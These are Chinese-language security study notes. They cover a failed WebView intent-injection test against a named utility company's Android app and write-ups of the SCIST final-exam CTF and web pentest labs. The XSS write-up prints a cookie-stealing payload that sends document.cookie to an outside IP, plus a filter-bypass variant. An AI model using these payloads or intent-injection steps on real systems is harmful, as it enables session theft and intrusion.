  • 它關閉了我們自己的terminal echo,這使我們能夠存取 tab autocompletes、箭頭鍵和 Ctrl + C 來終止進程
1
2
3

stty rows 38 columns 116

Webview Attacks

failed attack process

來說說webview的採坑過程,原本以為有洞,結果後來發現..

目標是某個公司的apk,通過jadx-gui把apk的所有程式挖出來

Android WebView 是 Android 作業系統 (OS) 的系統元件,可讓 Android 應用程式直接在應用程式內顯示來自 Web 的內容。

WebView 應用程式主要由 Javascript、CSS 和 HTML 檔案組成。基本上,該應用程式是一個或多個網頁。這些網頁構成了您的前端介面。

如果開發人員想要為應用程式新增瀏覽器功能,他/她可以包含 WebView 庫並建立 WebView 類別的實例;這本質上是在應用程式中嵌入了一個瀏覽器來執行渲染網頁和執行 JavaScript 等操作。

首先,通過弱掃發現了Remote WebView debugging是開啟的狀態

Remote WebView debugging is enabled.

high CWE: CWE-919: Weaknesses in Mobile Applications
OWASP Top 10: M1: Improper Platform Usage
OWASP MASVS: MSTG-RESILIENCE-2

tw/net/sun/fudon/water/MainActivity.java

先找到及確認該功能為啟用

確認了webview 功能啟用且引用了該功能

Untitled

Webview Inten 方案,如果管理不慎可能導致利用漏洞,可能導致XSS攻擊

查看有權限的componer路徑,有權限訪問才能查看到路徑

1
2
3
**adb shell dumpsys package | grep tw.net.sun.fudon**
1283ffd tw.gov.water.twcmobile/tw.net.sun.fudon.water.MainActivity
1283ffd tw.gov.water.twcmobile/tw.net.sun.fudon.water.MainActivity

setJavaScriptEnabled(true);

  • 這將允許 webview 在 webview 中運行 javascript。通常用於提供網站的完整功能,但可以被利用
  • 未經適當保護啟用JavaScript可能會引入安全漏洞

Untitled

  • enableRemoteDebugging() 啟用 WebView 的遠端偵錯功能
    • 在生產環境中啟用了遠端偵錯功能,可能會為攻擊者提供額外的攻擊面
    • 攻擊者可以利用遠端偵錯功能來竊取敏感資訊、執行惡意程式碼等
    • 建議在生產環境中停用遠端調試功能
    • 可以透過在啟動應用程式時檢查建置類型或設定檔中的標誌來控制是否啟用遠端偵錯功能
  • exposeJsInterface()
    • WebView 中暴露一個 JavaScript 接口,使得 JavaScript 程式碼可以呼叫該接口中的方法
    • 這種操作可能存在安全風險,特別是如果不正確地處理暴露的接口,可能導致遠端程式碼執行漏洞或其他安全問題
    • 建議仔細審查和驗證暴露的接口,確保只有受信任的程式碼可以調用,並且避免直接將敏感資料暴露給 JavaScript

Untitled

Remote WebView debugging is enabled

  • 開啟遠端 WebView 偵錯可能會使應用程式容易受到攻擊,尤其是在生產環境中
  • 攻擊者可以利用遠端 WebView 偵錯來查看應用程式的原始程式碼、注入惡意腳本、竊取敏感資訊等
  • 確保在生產版本中停用 WebView 的遠端偵錯功能,可以在應用程式的啟動或配置過程中進行設定

intent.getStringExtra(“url”)

  • 這會將 extra 的值(此處為 url)儲存到新的字串 url 中
  • 這邊會關乎到能否去利用webview啟用狀態而進行exploit

Untitled

Untitled

但是,看到這邊AndroidManifest.xml裡面的紀錄,

android:exported=”False” 不能注入了QQ

如果是true,就能進行攻擊了,也就是前面的分析白費,這邊沒啟用就是利用不了

Untitled

可以稍微說下,當初在看程式的時候,看到在這邊是啟用的狀態,覺得很興奮,以為有料能進行利用了

Untitled

1
<activity android:theme="@style/AppTheme.NoActionBarLaunch" android:label="@string/title_activity_main" android:name="tw.net.sun.fudon.water.MainActivity" android:exported="true" android:launchMode="singleTask" android:screenOrientation="portrait" android:configChanges="smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden|keyboard|locale" android:windowSoftInputMode="adjustPan">

所以就去測試了一下,指令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo apt-get remove --purge apache2 apache2-utils
sudo apt-get install --reinstall apache2 apache2-utils
sudo service apache2 start
sudo service apache2 status

root@MSI:/tmp# ngrok http 80
Usage of ngrok requires a verified account and authtoken.

Sign up for an account: https://dashboard.ngrok.com/signup 到官網註冊後會產生以下指令,輸入即可
Install your authtoken: https://dashboard.ngrok.com/get-started/your-authtoken

ERR_NGROK_4018

root@MSI:/tmp# **ngrok config add-authtoken 2eJvh3PifjXXXXXXXXXXXXXXXXCgLXVK74**
Authtoken saved to configuration file: /root/.config/ngrok/ngrok.yml
root@MSI:/tmp# ngrok http 80

and use **https ngrok link
記得payload.html要放在ngrok啟用的目錄下**

Untitled

adb shell am start -n componentname –es string “domain.com

componentname 是前面通過 adb shell dumpsys package 然後列出的package路徑,如果你的android:exported=”True”,就能看到路徑列出,甚至進行利用

前面列出的路徑是tw.gov.water.twcmobile/tw.net.sun.fudon.water.MainActivity

--es 後面接的是intent.getStringExtra裡面塞的東西

所以指令這樣下

adb shell am start -n tw.gov.water.twcmobile/tw.net.sun.fudon.water.MainActivity --es url " [https://c5b7-210-242-228-139.ngrok-free.app](https://c579-59-120-78-233.ngrok-free.app/)/payload.html"

Untitled

但沒有反應,雖然啟動了APP,但重點是因為 tw.net.sun.fudon.water.MainActivity 這邊 android:exported=”False”,所以exploit就失敗了=.=

總結來說,有點可惜,因為他很多設置都是啟用狀態,但真的要好好注意 android:exported 是不是 true ,不然會浪費太多時間在測試它,再加上現在Android的版本太高了,導致很多漏洞利用變得困難

SCIST Final Exam

平台

wELCOME

F12開起來,FLAG藏裡面

Misc

Intruder 1/3


這題的wireshark檔案在過濾後好像是這些奇怪的來源?因為Huge Ports 大埠通訊的來源通常都怪怪的
dns or ((tcp.srcport >=1024 and tcp.dstport >=1024) and (tcp.flags.syn==1 or tcp.flags.fin==1 or tcp.flags.reset==1))

後來打算先看看decryption key裡面有沒有其他線索,用IDA反解過去,flag就出來嘞

FruteForce?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from z3 import Real, BitVecRef, BitVecVal, Int, Extract, Solver, SolverFor, Concat, Or, And, If, sat, simplify, LShR, Sum, URem, UDiv, set_option, Tactic

if __name__ == '__main__':
x = [Int('apple'), Int('orange'), Int('lemon')]
s = Solver()
s.add(x[0]*x[0]+x[1]*x[1] == 256325)
s.add(x[0]*x[2] == x[1]*13910+441)
while (t := s.check()) == sat:
m = s.model()
print(m)
apple, orange, lemon = [m[x[i]].as_long() for i in range(len(x))]
print(3**apple == (orange**3+lemon))
print(pow(orange, apple, lemon))
s.add(Or([x[i] != m[x[i]].as_long() for i in range(len(x))]))
print(t)

這題其實很玄,因為一開始用z3正常的方式解三元方程式可是一直解不出答案,後來換個方式去算

WEB

Are you admin?

登入後發現有一個 /flag1 的頁面,不過 get 該頁面時會回傳 {"done":false,"msg":"Not admin :("}, 發現 cookie 中有一個 is_admin,當 is_admin 為 true 時,便能成功讀取 /flag 頁面中的 flag。

Login as ADMIN ?

接着發現網站上有兩個頁面 /note.html 以及 /share, /note 中有一個能夠上傳字串到服務器的功能(類似論壇),或許會有 XSS 的問題。同過 payload: <h1>aaaaaa</h1> 的測試後發現 XSS 問題確實存在。

接着 /report 頁面似乎提供服務器主動訪問目標 url 的功能,首先來驗證服務器是否對外連網,可以使用 python3 -m http.server <your_port> 或是 tcpdump -i <your_interface> port <your port> 進行測試,驗證了服務器有對外連線。

看起來 /report 頁面會使服務器用 get 方式訪問 url,因此這裡或許可以使用不需要 victim 互動的 reflected XSS。

在 notes 頁面中通過 payload:<img src=x onerror=this.src='http://27.147.28.70:9945/?'+document.cookie;> 驗證此 payload 的有效性

不過在 share 頁面中卻無效了,review 過 /share 頁面的原始碼後發現該頁面有客戶端的 filter,該 filter 會將 on 以及 ig 字串刪除。

1
2
3
4
5
6
7
<script>
(async () => {
const { done, note } = await fetch('/share'+location.search).then(res => res.json())
if (!done) return alert(msg || "Unknown error")
content.innerHTML = (note || "").replaceAll('</pre>', '').replaceAll(/on/ig, '')
})()
</script>

而想要繞過也很簡單,我們可以將 onerror 修改為 oonnerror,因此整體 payload 為:<img src=x oonnerror=this.src='http://27.147.28.70:9945/?'+document.cookie;>
將含有該 payload 的 /share 頁面作為 /report 頁面的 url 後,相當於對服務器主機發起 reflect XSS 攻擊,最終能成功取得主機的 cookie。

Reverse

Vault

使用 uncompyle6 將 .pyc 逆向回 .py,
可以發現 .py 中驗證機制如何運作,
密碼是 20 位數字,具體我忘了,但反正有 flag 就好 科科

Reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ file reverse
reverse: data
❯ xxd reverse
00000000: 0000 0000 0000 0000 0000 0000 0000 0001 ................
<skip>
00004830: 4429 0f20 3a67 6e69 7274 73b8 4800 4824 D). :gnirts.H.H$
00004840: 44c6 3024 7c8d 48c0 3100 0000 d824 8489 D.0$|.H.1....$..
<skip>
000053a0: 0000 0000 0000 656c 6261 5465 6e6f 6c43 ......elbaTenolC
000053b0: 4d54 7265 7473 6967 6572 5f4d 5449 5f00 MTretsiger_MTI_.
000053c0: 5f5f 7472 6174 735f 6e6f 6d67 5f5f 0065 __trats_nomg__.e
000053d0: 6c62 6154 656e 6f6c 434d 5472 6574 7369 lbaTenolCMTretsi
000053e0: 6765 7265 645f 4d54 495f 0035 2e32 2e32 gered_MTI_.5.2.2
000053f0: 5f43 4249 4c47 0034 2e32 5f43 4249 4c47 _CBILG.4.2_CBILG
00005400: 0034 2e33 2e32 5f43 4249 4c47 0037 2e32 .4.3.2_CBILG.7.2
00005410: 5f43 4249 4c47 006e 6961 6d5f 7472 6174 _CBILG.niam_trat
00005420: 735f 6362 696c 5f5f 0070 6d63 7274 7300 s_cbil__.pmcrts.
00005430: 6b68 635f 6674 6e69 7270 735f 5f00 657a khc_ftnirps__.ez
00005440: 696c 616e 6966 5f61 7863 5f5f 006e 656c ilanif_axc__.nel
00005450: 7274 7300 6c69 6166 5f6b 6863 5f6b 6361 rts.liaf_khc_kca
00005460: 7473 5f5f 0073 7475 7000 666e 6163 735f ts__.stup.fnacs_
00005470: 3939 636f 7369 5f5f 0062 6f72 666d 656d 99cosi__.borfmem
00005480: 006b 6863 5f66 746e 6972 705f 5f00 362e .khc_ftnirp__.6.
00005490: 6f73 2e63 6269 6c00 0000 0000 0000 0000 os.cbil.........
<skip>
00005920: 0000 0000 0000 0318 0000 0000 0000 0318 ................
00005930: 0000 0004 0000 0003 0000 0000 0000 0008 ................
00005940: 0000 0000 0000 02d8 0000 0000 0000 02d8 ................
00005950: 0000 0000 0000 0040 0000 0000 0000 0040 .......@.......@
00005960: 0000 0000 0000 0040 0000 0004 0000 0006 .......@........
00005970: 0025 0026 0040 000d 0038 0040 0000 0000 .%.&[email protected].@....
00005980: 0000 0000 0000 5030 0000 0000 0000 0040 ......P0.......@
00005990: 0000 0000 0000 12a0 0000 0001 003e 0003 .............>..
000059a0: 0000 0000 0000 0000 0001 0102 464c 457f ............FLE.

看到最後的 FLE. 以及中間的字串基本能確定這是一個經過了翻轉的 ELF 檔案。

查到本網站,把整個檔案倒過來:< reverse xxd -p -c1 | tac | xxd -p -r > reverse_out

使用 ghidra 的反編譯進行逆向後可見:

單純反組譯:

使用動態分析方式在 call memfrob 後下斷點,然後直接觀察 magic 變數的值。

var_8h(也就是 magic)的 hex 值轉換為 ASCII 為 “esrever”

Web Pentest LAB

漏洞資料庫

MITRE CVE:資安弱點情資分享,漏洞資料庫,記錄每一個 CVE 的內容
https://cve.mitre.org/
MITRE ATT&CK:資安威脅情資分享,攻擊防禦資料庫
https://attack.mitre.org/
ExploitDB:許多可驗證漏洞存在的 POC
https://www.exploit-db.com/
NVD:漏洞資料庫,來自 CVE 並加強搜尋與關聯軟體、產品列表
https://nvd.nist.gov/vuln/search

Warm

Lab-1

請問工具 Burp Suite 中,需要重複送出封包,可以使用該工具的什麼功能(******)**

ANS:Repeater

Lab-2

找出 WPForms 2020 年漏洞類型為 XSS 的 CVE 編號(CVE-YEAR-NUMBER)

ANS:CVE-2020-10385

LAB-3

2016 年 Debian 版本的 Apache Tomcat 有提權漏洞
請問該漏洞的 CVE 編號(CVE-YEAR-NUMBER)

ANS:CVE-2016-1240

解決方式與漏洞詳情
https://blog.csdn.net/Fly_hps/article/details/79567605

Linux

Lab-1

指令 echo 中哪一個參數代表不需要換行
請在答案輸入 echo -* Hello**

(找到參數後,將 * 取代成找到的參數)[color=#f43]

ANS:echo -n Hello

echo詳細用法
https://kknews.cc/zh-tw/code/b53mn4j.html

Lab-2

ANS:指令 ls 中哪兩個參數代表

  • 1) 印出所有實體(all entries):包含隱藏檔案
  • 2) 印出長列表(long list):可以看到該檔案的屬性等
    請在答案輸入 ls -**

    (找到參數後,將 * 取代成找到的參數)[color=#f43]

ANS:ls -al

*ls詳細用法
https://blog.gtwang.org/linux/linux-ls-command-tutorial/

Lab-3

指令 cat 中哪一個參數代表輸出時有數字標號
請在答案輸入 cat -* fei.txt

(找到參數後,將 * 取代成找到的參數)[color=#f43]

ANS:cat -n fei.txt

cat詳細用法
https://www.itread01.com/p/204415.html

Lab-4

下載檔案 download

並嘗試解出 Flag
解法1:電腦下載檔案後開啟(用記事本),打開就會看到嘞
解法2:用linux開,
1.wget http://35.234.24.11:8080/practice/linux/file/touch
2.strings touch(touch是檔名)

ANS:Flag{good_job_to_touch_file}

Lab-5

. 一個點是當前資料夾
.. 兩個點是上一個資料夾

請問哪一個符號表示 home 資料夾

ANS: ~

Lab-6

如果只輸入 su 預設是進入哪一個帳號呢

ANS:root

Lab-7

下載檔案 download
並嘗試解出 Flag
開啟linux

輸入指令

hexdump -C env |more

ANS:Flag{you_learned_export}

Lab-8

哪些權限代表 使用者可以讀取檔案
群組可以讀取和寫入檔案
而其他人不能可以讀取,寫入或執行文件
輸入三位數字

ANS:460

chmod詳細用法
https://www.opencli.com/linux/chmod-command

Lab-9

哪些權限代表 使用者可以讀取,寫入和執行檔案
群組可以讀取,寫入和執行檔案
其他任何人都可以讀取,寫入和執行文件
輸入三位數字

ANS:777

Lab-10

如何切換到自己的家目錄(利用相對路徑)

ANS:cd ~

Lab-11

sudo 中哪一個參數代表指定使用者
sudo -* fei
(找到參數後,將 * 取代成找到的參數)

ANS:sudo -u fei

sudo詳細用法
http://note.drx.tw/2008/01/linuxsudo.html

LAB12

利用 sudo 與 apt 安裝套件 python3

sudo apt ******* *******

ANS:sudo apt install python3

DNS

Lab-1

請問 域名 feifei.tw 對應到哪一個 IP?

ANS:128.199.168.66

HTTP

請求封包:
請求目標(方法、路徑、協定版本)

  • 標頭 header
  • 實體 body

觀察封包:

1. 請開啟開發者工具
2. 點到 Network
3. 並在以下的輸入框,輸入名字
4. 觀察封包內容

Welcome

這裡輸入任何的字串
都會顯示到Welcome後面

如圖

LAB

表單二
請觀察表單二的封包
這個表單使用什麼 HTTP method ?

在這一個表單當中隱藏一個 magic_num,
請試著找出封包中的 magic number

按F12觀察Elements 看這圖第一行跟最後一行 第一行是method最後一行是magic_num

Proxy

攔截封包:
開啟 burpsuit
開啟 proxy
攔截封包

LAB
請嘗試攔截以下的封包,並修改成以下條件:

  • Method 更改為 GET
  • changeMe 內容更改為「Happy」
  • Header 新增

    x-request-intercepted:true

首先開啟BurpSuite,再來看看Chrom的套件SwitchyOmega,切換到跟BurpSuit相同IP的情景模式

在changeMe那隨便打上東西後並按Submit
在此之前要先把BurpSuite的Proxy開啟

這裡要注意一點,要使用BurpSuit一定要先把其他瀏覽器關掉以免連線到錯誤的IP去

確認Request後的IP是否跟網站位置相同

點擊Action選change request method

並在changeMe那更改內容為Happy

最後在cookies上方新增
x-request-intercepted:true

最後按Forward送出

Developer-Tool-token

在 consele 中執行
js function: getToken()


按F12後點到Console在下方打上getToken()

按F12後點開Network
點擊[click me]

點開剛剛新增的network.php在Preview會看到number

Encoding Basics

HTML 編碼

空白會被編碼成 %20

base 64 編碼

  • Hello ==> SGVsbG8=
  • 0x4d 0x61 ==> TWE=
  • Authorization: Basic bXl1c2VyOm15cGFzc3dvcmQ=

LAB

Base64


Authorization: Basic cm9vdDpwYXNzd29yZA==
請解出帳號密碼


Base64開並解碼


ROT13

請將以下解碼成明文,並提入表單中ROT13
hfreanzr: nqzva, cnffjbeq:lbhTbgVg


打開ROT13後,輸入要解碼的內容並按解碼

Cryptography

  • 雜湊演算法
  • 弱雜湊演算法
  • 加密演算法
  • 弱加密演算法

Hash

SHA256
不能反解
找得到明文,==因為弱演算法容易被人收集成製作雜湊值與明文對應表==
5EBE2294ECD0E0F08EAB7690D2A6EE69

MD5
8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

加密

  • 對稱式加密
  • 非對稱式加密
    ==可參考密碼學相關課程,涉及古典密碼學與應用密碼學。==

OSINT

以下 LAB 請於最下面的 flag 欄位填入答案。

Lab-1

請問 Google Hacking 中 site 語法是針對____作為搜尋
ANS:網域

Lab-2

請於目前網站中的 robots.txt 中找到 flag
ANS:flag{Robots_txt_in_here}

Lab-3

使用工具 whois
$sudo apt install whois
找出 feifei.com.tw 的域名提供者(Registration Service Provider)

ANS:GANDI SAS

參考資料

Lab-4

使用工具 nmap
找出 35.234.24.11:8080 port 22 SERVICE 為何?(答案全大寫)

ANS:SSH
參考資料

Lab-5

使用工具 dirb
找出 35.234.24.11:8080長度 15 的檔案內容

ANS:flag{dirb_none}

Broken-Authentication

身分繞過

==常出現在設定或是邏輯錯誤中
在 HTML 中隱藏的參數
刪除/修改封包中任意的參數
直接訪問可能需要權限的頁面==

lab1

請觀察這個表單與送出的封包內容
Name
這地方的HTML在admin後的value值應改成1
並在name的那格打上admin再送出

底下就會出現了

ANS:flag{hidden_value}

Welcome

lab2

Auth!

點開後會看到

不過如果上題有改HTML的話一點開就能看到

flag{cookie_value}

lab3

admin!
相同道理lab1有改進入頁面會看到題示
在打開無痕開這頁面就可以嘞

GitHack

lab1
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py http://IP/.git
==http://35.234.24.11:8080/.git==
ls 查看一下有新增什麼資料夾
cd 該資料夾查看裡面的內容

Insecure Direct Object References

觀察所有可列入參數的地方
會員資料
圖片
Session

lab2

GET info
一開始點開會看到Hi , Welcome to Here

在最上方的URL後面改ID一直try就可以嘞(改數字)

Hi Admin , Welcome to Here

flag{IDOR_with_ID}